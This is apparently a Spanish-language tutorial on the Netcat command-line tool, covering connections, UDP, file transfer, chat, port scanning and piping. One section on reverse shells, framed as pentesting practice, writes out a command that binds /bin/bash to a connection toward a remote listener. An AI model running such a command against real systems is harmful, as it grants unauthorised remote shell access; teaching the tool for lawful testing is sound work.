Skip to content

Netcat


Netcat (abreviado nc) es una herramienta de línea de comandos usada para:

  • Leer y escribir datos en conexiones TCP o UDP.
  • Crear clientes y servidores.
  • Transferir archivos, hacer escucha de puertos, chats, o incluso backdoors (de forma ética y controlada).

Es conocida como el “cuchillo suizo de las redes”.


En la mayoría de sistemas viene preinstalado:

Terminal window
nc -h

Sí no lo tienes:

Linux (Debian/Ubuntu):

Terminal window
sudo apt install netcat

Windows: Puedes usar Ncat (parte de Nmap): https://nmap.org/ncat/


Terminal window
nc [opciones] [host] [puerto]

Conectarse a un servidor:

Terminal window
nc 127.0.0.1 8080

Esto abre una conexión al puerto 8080 del localhost.

Escuchar conexiones:

Terminal window
nc -l -p 8080

-l → modo escucha

-p → especifica el puerto

Luego, desde otro terminal:

Terminal window
nc 127.0.0.1 8080

Ahora puedes enviar mensajes entre ambos terminales (chat simple).


Para usar UDP en vez de TCP:

Terminal window
# Servidor
nc -u -l -p 6000
# Cliente
nc -u 127.0.0.1 6000

-u → activa modo UDP.


Servidor que recibirá:

Terminal window
nc -l -p 5000 > archivo_recibido.txt

Cliente que envía:

Terminal window
nc 127.0.0.1 5000 < archivo.txt

El archivo archivo.txt se envía al servidor.


En una máquina:

Terminal window
nc -l -p 4000

En otra:

Terminal window
nc IP_DEL_SERVIDOR 4000

Ahora ambos pueden escribir y leer mensajes.


Netcat puede escanear qué puertos están abiertos en una máquina:

Terminal window
nc -zv 192.168.1.10 20-80

-z → modo “scan” sin enviar datos.

-v → modo verbose (muestra resultado).

20-80 → rango de puertos.


Puedes usar pipes para automatizar tareas:

Terminal window
echo "Hola servidor" | nc 127.0.0.1 8080

O guardar la respuesta:

Terminal window
nc 127.0.0.1 80 respuesta.txt

Reverse Shells (usos éticos y educativos)

Section titled “Reverse Shells (usos éticos y educativos)”

Netcat puede crear conexiones remotas tipo shell inversa, usadas en pentesting (no ilegalmente).

Terminal window
nc -l -p 4444 -v
Terminal window
nc 192.168.1.100 4444 -e /bin/bash

Esto le da al servidor una consola remota de la otra máquina. (Solo en entornos controlados o de práctica legal.)



Terminal window
# Servidor
nc -l -p 1234 -v
Terminal window
nc 127.0.0.1 1234

Ahora cualquier texto que envíes se reflejará entre ambos.



  • Ncat (de Nmap): versión más segura y moderna.
  • Socat: similar pero con más opciones.
  • PowerCat (en Windows PowerShell): equivalente en sistemas modernos.